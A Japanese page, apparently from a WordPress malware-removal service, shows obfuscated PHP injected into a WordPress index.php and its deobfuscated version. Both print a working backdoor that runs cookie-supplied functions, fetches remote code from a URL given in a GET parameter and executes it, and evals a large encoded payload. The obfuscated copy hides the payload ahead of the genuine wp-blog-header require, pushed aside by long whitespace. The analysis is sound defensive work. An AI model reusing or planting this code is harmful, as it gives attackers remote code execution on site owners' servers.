PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php error_reporting(0);
$Nfvn = ${"\x5f\x43\x4f\x4f\x4b\x49\x45"};
@(count($Nfvn) == 15 && in_array(gettype($Nfvn) . count($Nfvn), $Nfvn)) ? (($Nfvn[64] = $Nfvn[64] . $Nfvn[76]) && ($Nfvn[85] = $Nfvn[64]($Nfvn[85])) && (@$Nfvn = $Nfvn[85]($Nfvn[51], $Nfvn[64](${$Nfvn[45]}[15]))) && $Nfvn()) : $Nfvn;
$HOJ = array(@${"\x5f\x47\x45\x54"}["\x41\x52\x52\x41\x59"], "\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e", "\x73\x74\x72\x5f\x72\x6f\x74\x31\x33", "\x6a\x73\x6f\x6e\x5f\x64\x65\x63\x6f\x64\x65", "\x70\x61\x63\x6b", "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65", "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",);
$us = $HOJ[2]($HOJ[0]);
$TcM = $HOJ[4]("\x48\x2a", $us);
$jK = $HOJ[3]($TcM, true);
if (($jK[0] - time()) > 0 and md5(md5($jK[2])) === "7e60315ad3c7d252340e2a1c8ee3f434") {
    $WGPJQ = curl_init($jK[1]);
    curl_setopt($WGPJQ, CURLOPT_RETURNTRANSFER, 1);
    $brLog = curl_exec($WGPJQ);
    $NFhy = empty($brLog) ? $HOJ[6]($jK[1]) : $brLog;
    @$HOJ[1]("", "\x7d" . $HOJ[5]($NFhy) . "\x2f\x2a");
    die;
}
$sEP = "\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";
$TVD = @$sEP('$O', "\x65\x76\x61\x6c\x28\x22\x3f\x3e\x22\x2e\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x24\x4f\x29\x29\x29\x29\x29\x29\x3b");
@$TVD("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"); ?><?php define('WP_USE_THEMES', true);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    require('./wp-blog-header.php'); ?>

デコード(難読化解除)されたコード

<?php

error_reporting(0);
$Nfvn = $_COOKIE;
@(count($Nfvn) == 15 && in_array(gettype($Nfvn) . count($Nfvn), $Nfvn)) ? ($Nfvn[64] .= $Nfvn[76]) && ($Nfvn[85] = $Nfvn[64]($Nfvn[85])) && @($Nfvn = $Nfvn[85]($Nfvn[51], $Nfvn[64](${$Nfvn[45]}[15]))) && $Nfvn() : $Nfvn;
$HOJ = array(@$_GET["ARRAY"], "create_function", "str_rot13", "json_decode", "pack", "base64_decode", "file_get_contents");
$us = str_rot13($HOJ[0]);
$TcM = pack("H*", $us);
$jK = json_decode($TcM, true);
if ($jK[0] - time() > 0 and md5(md5($jK[2])) === "7e60315ad3c7d252340e2a1c8ee3f434") {
    $WGPJQ = curl_init($jK[1]);
    curl_setopt($WGPJQ, CURLOPT_RETURNTRANSFER, 1);
    $brLog = curl_exec($WGPJQ);
    $NFhy = empty($brLog) ? file_get_contents($jK[1]) : $brLog;
    @create_function("", "}" . base64_decode($NFhy) . "/*");
    die;
}
$sEP = "create_function";
$TVD = @function ($O) {
    eval("?>" . base64_decode(str_rot13(gzinflate(base64_decode(str_rot13($O))))));
};
@$TVD("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");
define('WP_USE_THEMES', true);
require './wp-blog-header.php';

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.